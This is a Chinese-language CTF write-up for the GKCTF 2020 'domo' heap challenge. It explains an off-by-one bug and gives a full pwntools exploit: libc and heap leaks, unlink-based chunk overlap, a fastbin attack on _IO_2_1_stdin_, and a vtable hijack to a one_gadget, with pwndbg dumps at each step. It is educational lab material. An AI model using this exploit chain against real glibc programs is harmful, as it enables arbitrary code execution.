0%

Unlink攻击+fastbin attack+vtable劫持

gkctf2020 domo 复现

1
2
3
4
5
6
Welcome to GKCTF
1: Add a user
2: Delete a user
3: Show a user
4: Edit a user
5: Exit
1
2
3
4
5
6
7
8
domo: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b8ef84fe110e5098832857f8a42e28fb72b4ff26, stripped

[*] '/home/ywhkkx/桌面/domo'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

程序是给了 libc.so ,可以查看版本:

1
2
➜  [/home/ywhkkx/tool/LibcSearcher/libc-database] git:(master) ./find __libc_start_main 740
ubuntu-glibc (libc6_2.23-0ubuntu3_amd64)

漏洞分析

1
2
3
4
5
6
7
8
if ( size >= 0 && size <= 288 )
{
*((_QWORD *)&chunk_list + index) = malloc(size);
puts("content:");
read(0, *((void **)&chunk_list + index), (unsigned int)size);
*(_BYTE *)(*((_QWORD *)&chunk_list + index) + size) = 0;// off-by-one
++chunk_num[0];
}

经典 off-by-one

入侵思路

程序ban了 hook,开了 Full RELRO,修改模块又没法正常使用(其实到这里的时候,我唯一想到的制胜手段就是 leak Environ 获取栈地址,然后WAA返回地址进行 ret 劫持)

我自己尝试完成本题目时遇到了不小的麻烦,利用 unsortedbin 泄露了 libc_base,构造 fastbin 泄露了 head_addr ,但是我的构造方式很紊乱,导致之后的 unlink 完全没办法进行,所以我还是学习一下大佬的 exp 把:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *

#context.log_level = 'DEBUG'
context.binary = './domo'
elf = ELF('./domo')

p = process('./domo')
libc = ELF('./libc.so.6')

def cmd_add(size,content):
p.sendlineafter('> ','1')
p.sendlineafter('size:',str(size))
p.sendlineafter('content:',content)

def cmd_del(index):
p.sendlineafter('> ','2')
p.sendlineafter('index:',str(index))

def cmd_show(index):
p.sendlineafter('> ','3')
p.sendlineafter('index:\n',str(index))
return p.recv(6)

def cmd_edit(addr,num):
p.sendlineafter('> ','4')
p.sendlineafter('addr:',str(addr))
p.sendlineafter('num:',num)

# leak libc_base
cmd_add(0x40,'') # 0(核心)
cmd_add(0x60,'') # 1

cmd_add(0xf0,'') # 2
cmd_add(0x10,'') # 3
offset = 0x7ffff7bcdb78 - 0x7ffff7bcdb0a
cmd_del(2)
cmd_add(0xf0,'')

main_arena = u64(cmd_show(2).ljust(8,'\x00')) + offset
offset = 0x7f3d7a680b78 - 0x7f3d7a2bc000
libc.address = main_arena - offset
success('main_arena >>'+hex(main_arena))
success('libc_base >> '+hex(libc.address))

# leak heap_addr
cmd_add(0x10,'') # 4
cmd_del(3)
cmd_del(4)
cmd_add(0x10,'')
heap_addr = u64(cmd_show(3).ljust(8,'\x00')) - 0x10a + 0x10
success('heap_addr >> '+hex(heap_addr))

# unlink for overlapping
cmd_del(0)
cmd_add(0x40,flat(0,0xb1,heap_addr+0x18,heap_addr+0x20,heap_addr+0x10))
cmd_del(1)
cmd_add(0x68,flat('\x00'*0x60,0xb0))
cmd_del(2)

# fastbins attack
_IO_file_jumps = libc.sym['_IO_file_jumps']
_IO_2_1_stdin_ = libc.sym['_IO_2_1_stdin_']
one_gadgets =[0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = libc.address + one_gadgets[2]

fake_target = _IO_2_1_stdin_ + 160 - 0x3
cmd_add(0xc0,'AAAAAAAA') # index 2
cmd_add(0x60,'BBBBBBBB') # index 3

cmd_del(1)
cmd_del(2)
cmd_add(0xc0,flat('\x00'*0x38,0x71,fake_target)) # to index 2
cmd_add(0xa8,p64(0)*2+p64(one_gadget)*19)

# overwrite vtable
fake_vtable = heap_addr + 0x210
success('fake_vtable >> '+hex(fake_vtable))
payload = '\x00'*3+flat(0,0,0xffffffff,0,0,fake_vtable,0,0,0,0,0,0)
cmd_add(0x60,'')
cmd_add(0x60,payload)

p.interactive()

这时大佬泄露 libc_base 的过程(和我的想法一致,但堆风水比我好了不少)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# leak libc_base
cmd_add(0x40,'') # 0
cmd_add(0x60,'') # 1

cmd_add(0xf0,'') # 2
cmd_add(0x10,'') # 3
offset = 0x7ffff7bcdb78 - 0x7ffff7bcdb0a
cmd_del(2)
cmd_add(0xf0,'') # 申请回来相同的chunk,是为了可以打印出来

main_arena = u64(cmd_show(2).ljust(8,'\x00')) + offset
offset = 0x7f3d7a680b78 - 0x7f3d7a2bc000
libc.address = main_arena - offset
success('main_arena >>'+hex(main_arena))
success('libc_base >> '+hex(libc.address))

堆布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x56164214f000
Size: 0x1011

Allocated chunk | PREV_INUSE
Addr: 0x561642150010 // chunk0
Size: 0x51

Allocated chunk | PREV_INUSE
Addr: 0x561642150060 // chunk1
Size: 0x71

Allocated chunk | PREV_INUSE
Addr: 0x5616421500d0 // chunk2
Size: 0x101

Allocated chunk | PREV_INUSE
Addr: 0x5616421501d0 // chunk3
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x5616421501f0
Size: 0x20e11

释放 chunk2 后,chunk2进入 unsortedbin ,重新申请回来使其在保留 leak 数据的前提下可以被 show 出来

1
2
3
4
5
6
7
pwndbg> telescope 0x5616421500d0
00:00000x5616421500d0 ◂— 0x0
01:00080x5616421500d8 ◂— 0x101
02:00100x5616421500e0 —▸ 0x7ff69bf5cb0a (__realloc_hook+2) ◂— 0x7ff69bc1
03:00180x5616421500e8 —▸ 0x7ff69bf5cb78 (main_arena+88) —▸ 0x5616421501f0 ◂— 0x0
04:00200x5616421500f0 ◂— 0x0
... ↓ 3 skipped

“0x7ff69bf5cb0a”被 leak 出来,直接计算 libc_base

1
2
3
4
5
6
7
8
# leak heap_addr
cmd_add(0x10,'') # 4
cmd_del(3)
cmd_del(4)
cmd_add(0x10,'') # FIFO,先申请chunk4(作为chunk3)

heap_addr = u64(cmd_show(3).ljust(8,'\x00')) - 0x10a + 0x10
success('heap_addr >> '+hex(heap_addr))

堆布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
Allocated chunk | PREV_INUSE
Addr: 0x5622703620d0 // chunk2
Size: 0x101

Free chunk (fastbins) | PREV_INUSE
Addr: 0x5622703621d0 // chunk3
Size: 0x21
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x5622703621f0 // chunk4(作为chunk3)
Size: 0x21
1
2
3
4
5
6
7
8
9
10
pwndbg> telescope 0x5622703621f0
00:00000x5622703621f0 ◂— 0x0
01:00080x5622703621f8 ◂— 0x21 /* '!' */
02:00100x562270362200 —▸ 0x56227036210a ◂— 0x0
/* 残留的FD,原本该指向chunk3 head,但是末尾的"\n"覆盖了最后一字节 */
03:00180x562270362208 ◂— 0x0
04:00200x562270362210 ◂— 0x0
05:00280x562270362218 ◂— 0x20df1
06:00300x562270362220 ◂— 0x0
07:00380x562270362228 ◂— 0x0

“0x56227036210a”会被 leak 出来,可以计算 heap_addr(heap首地址)

1
2
3
4
5
6
# unlink for overlapping
cmd_del(0)
cmd_add(0x40,flat(0,0xb1,heap_addr+0x18,heap_addr+0x20,heap_addr+0x10)) # chunk0
cmd_del(1)
cmd_add(0x68,flat('\x00'*0x60,0xb0)) # chunk1(off-by-one覆盖chunk2->size)
cmd_del(2)

因为本程序的修改模块失效,所以大佬用了这种方式进行修改(fastbin的性质)

free第三块chunk前堆的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x5559a9d3f010:	0x0000000000000000	0x0000000000000051 // chunk0(index0)
0x5559a9d3f020: 0x0000000000000000 0x00000000000000b1
0x5559a9d3f030: 0x00005559a9d3f028 0x00005559a9d3f030
0x5559a9d3f040: 0x00005559a9d3f020 0x000000000000000a
0x5559a9d3f050: 0x0000000000000000 0x0000000000000000
0x5559a9d3f060: 0x0000000000000000 0x0000000000000071 // chunk1(index1)
0x5559a9d3f070: 0x0000000000000000 0x0000000000000000
0x5559a9d3f080: 0x0000000000000000 0x0000000000000000
0x5559a9d3f090: 0x0000000000000000 0x0000000000000000
0x5559a9d3f0a0: 0x0000000000000000 0x0000000000000000
0x5559a9d3f0b0: 0x0000000000000000 0x0000000000000000
0x5559a9d3f0c0: 0x0000000000000000 0x0000000000000000
0x5559a9d3f0d0: 0x00000000000000b0 0x0000000000000100 // chunk2(index2)
0x5559a9d3f0e0: 0x00007fd844656b0a 0x00007fd844656b78
0x5559a9d3f0f0: 0x0000000000000000 0x0000000000000000
0x5559a9d3f100: 0x0000000000000000 0x0000000000000000

free第三块chunk后,堆成功重叠:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x5559a9d3f010:	0x0000000000000000	0x0000000000000051 // chunk0(index0)
0x5559a9d3f020: 0x0000000000000000 0x00000000000001b1 // will be chunk2(index2)
0x5559a9d3f030: 0x00007fd844656b78 0x00007fd844656b78
0x5559a9d3f040: 0x00005559a9d3f028 0x000000000000000a
0x5559a9d3f050: 0x0000000000000000 0x0000000000000000
0x5559a9d3f060: 0x0000000000000000 0x0000000000000071 // chunk1(index1)
0x5559a9d3f070: 0x0000000000000000 0x0000000000000000
0x5559a9d3f080: 0x0000000000000000 0x0000000000000000
0x5559a9d3f090: 0x0000000000000000 0x0000000000000000
0x5559a9d3f0a0: 0x0000000000000000 0x0000000000000000
0x5559a9d3f0b0: 0x0000000000000000 0x0000000000000000
0x5559a9d3f0c0: 0x0000000000000000 0x0000000000000000
0x5559a9d3f0d0: 0x00000000000000b0 0x0000000000000100
0x5559a9d3f0e0: 0x00007fd844656b0a 0x00007fd844656b78
0x5559a9d3f0f0: 0x0000000000000000 0x0000000000000000
0x5559a9d3f100: 0x0000000000000000 0x0000000000000000
1
2
3
unsortedbin
all: 0x5559a9d3f020 —▸ 0x7fd844656b78 (main_arena+88) ◂— 0x5559a9d3f020
/* chunk2和chunk1重叠,chunk1在free状态下被写入FD */

unlink 成功了(其实我以前学习 wiki 上的案例时,遇到的都是要在 chunk_list 中打 unlink 的,今天遇到这个才发现 unlink 其实很灵活)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# fastbins attack
_IO_file_jumps = libc.sym['_IO_file_jumps']
_IO_2_1_stdin_ = libc.sym['_IO_2_1_stdin_']
one_gadgets =[0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = libc.address + one_gadgets[2]

fake_target = _IO_2_1_stdin_ + 160 - 0x3 # 这个地方正好有"0x7f"
cmd_add(0xc0,'AAAAAAAA') # index 2
cmd_add(0x60,'BBBBBBBB') # index 3

cmd_del(1)
cmd_del(2)
cmd_add(0xc0,flat('\x00'*0x38,0x71,fake_target)) # to index 2
cmd_add(0xa8,p64(0)*2+p64(one_gadget)*19)

接下来的 chunk 申请,都应该在 fake chunk 中分割:

1
2
3
4
5
6
7
8
pwndbg> x/20xg 0x55efe9805010
0x55efe9805010: 0x0000000000000000 0x0000000000000051
0x55efe9805020: 0x0000000000000000 0x00000000000000d1 // fake chunk(index2)
0x55efe9805030: 0x0000000000000000 0x0000000000000000
0x55efe9805040: 0x0000000000000000 0x0000000000000000
0x55efe9805050: 0x0000000000000000 0x0000000000000000
0x55efe9805060: 0x0000000000000000 0x0000000000000071 // chunk1(index1)
0x55efe9805070: 0x00007f39e554a97d 0x000000000000000a // fake_target
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x00007f39e554a97d
00:00000x7f39e554a97d (_IO_2_1_stdin_+157) ◂— 0x39e554a9c0000000 // presize
01:00080x7f39e554a985 (_IO_2_1_stdin_+165) ◂— 0x7f // size
02:00100x7f39e554a98d (_IO_2_1_stdin_+173) ◂— 0x0 // FD
03:00180x7f39e554a995 (_IO_2_1_stdin_+181) ◂— 0x0 // BK
04:00200x7f39e554a99d (_IO_2_1_stdin_+189) ◂— 0xffffffff000000
05:00280x7f39e554a9a5 (_IO_2_1_stdin_+197) ◂— 0x0
06:00300x7f39e554a9ad (_IO_2_1_stdin_+205) ◂— 0x0
07:00380x7f39e554a9b5 (_IO_2_1_stdin_+213) ◂— 0x39e55496e0000000 // true_target

新申请的 chunk 中被装满了 one_gadget ,方便后续劫持:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20xg 0x55efe9805210
0x55efe9805210: 0x0000000000000000 0x00000000000000b1
0x55efe9805220: 0x0000000000000000 0x0000000000000000
0x55efe9805230: 0x00007f39e52763a4 0x00007f39e52763a4 // one_gadget
0x55efe9805240: 0x00007f39e52763a4 0x00007f39e52763a4
0x55efe9805250: 0x00007f39e52763a4 0x00007f39e52763a4
0x55efe9805260: 0x00007f39e52763a4 0x00007f39e52763a4
0x55efe9805270: 0x00007f39e52763a4 0x00007f39e52763a4
0x55efe9805280: 0x00007f39e52763a4 0x00007f39e52763a4
0x55efe9805290: 0x00007f39e52763a4 0x00007f39e52763a4
0x55efe98052a0: 0x00007f39e52763a4 0x00007f39e52763a4
1
2
3
4
5
6
# overwrite vtable
fake_vtable = heap_addr + 0x210
success('fake_vtable >> '+hex(fake_vtable))
payload = '\x00'*3+flat(0,0,0xffffffff,0,0,fake_vtable,0,0,0,0,0,0)
cmd_add(0x60,'')
cmd_add(0x60,payload)

先看看“fake_vtable”是什么:

1
[+] fake_vtable >> 0x55d3aa3da220
1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20xg 0x55d3aa3da210
0x55d3aa3da210: 0x0000000000000000 0x00000000000000b1 // chunk2
0x55d3aa3da220: 0x0000000000000000 0x0000000000000000 // fake_vtable
0x55d3aa3da230: 0x00007f64c38a03a4 0x00007f64c38a03a4
0x55d3aa3da240: 0x00007f64c38a03a4 0x00007f64c38a03a4
0x55d3aa3da250: 0x00007f64c38a03a4 0x00007f64c38a03a4
0x55d3aa3da260: 0x00007f64c38a03a4 0x00007f64c38a03a4
0x55d3aa3da270: 0x00007f64c38a03a4 0x00007f64c38a03a4
0x55d3aa3da280: 0x00007f64c38a03a4 0x00007f64c38a03a4
0x55d3aa3da290: 0x00007f64c38a03a4 0x00007f64c38a03a4
0x55d3aa3da2a0: 0x00007f64c38a03a4 0x00007f64c38a03a4

为了方便演示,先把“fake_vtable”换为无用地址(劫持之后GDB就无法正常显示了)

payload覆盖前:

1
2
3
4
5
6
7
8
pwndbg> telescope 0x7f754337997d+3
00:00000x7f7543379980 (_IO_2_1_stdin_+160) —▸ 0x7f75433799c0 (_IO_wide_data_0) ◂— 0x0
01:00080x7f7543379988 (_IO_2_1_stdin_+168) ◂— 0x0
... ↓ 2 skipped
04:00200x7f75433799a0 (_IO_2_1_stdin_+192) ◂— 0xffffffff
05:00280x7f75433799a8 (_IO_2_1_stdin_+200) ◂— 0x0
06:00300x7f75433799b0 (_IO_2_1_stdin_+208) ◂— 0x0
07:00380x7f75433799b8 (_IO_2_1_stdin_+216) —▸ 0x7f75433786e0 (_IO_file_jumps) ◂— 0x0

payload覆盖后:

1
2
3
4
5
6
7
8
pwndbg> telescope 0x7f754337997d+3
00:00000x7f7543379980 (_IO_2_1_stdin_+160) —▸ 0x7f75433799c0 (_IO_wide_data_0) ◂— 0x0
01:00080x7f7543379988 (_IO_2_1_stdin_+168) ◂— 0x0
... ↓ 2 skipped
04:00200x7f75433799a0 (_IO_2_1_stdin_+192) ◂— 0xffffffff
05:00280x7f75433799a8 (_IO_2_1_stdin_+200) ◂— 0x0
06:00300x7f75433799b0 (_IO_2_1_stdin_+208) ◂— 0x0
07:00380x7f75433799b8 (_IO_2_1_stdin_+216) —▸ 0x562989a57010 ◂— 0x0 // 临时修改

vtable 变量的值为 _IO_file_jumps 的指针,_IO_file_jumps 中保存了一些函数指针,一系列标准IO函数中会调用这些函数指针,但 _IO_file_jumps 里的内容是无法修改的,但可以修改 vtable 指向伪造的 _IO_file_jumps 从而getshell


小结:

这个题目我先自己做了做,成功 leak 了 heap_addr 和 libc_base,想到了打 fastbin attack,利用 unlink 实现 overlapping 来突破本程序严格的 size 检查,但是最后卡 unlink 那里了,复盘时发现自己的堆排布很乱,导致 unlink 总是出现未知状况(触发莫名其妙的合并等等)

学习大佬的 exp 时也踩了大坑,用 LibcSearcher 查找出来的 libc 版本有误,凑巧的是,在线查询网站上也是这个结果,导致我的 _IO_2_1_stdin_ 排列的和其他师傅的博客大相径庭,最后,我在一篇博客中看到:在IDA中可以直接查看 libc.so.6 的 libc 版本

1647013341453-1647447265254

这些坑现在踩了,以后就注意了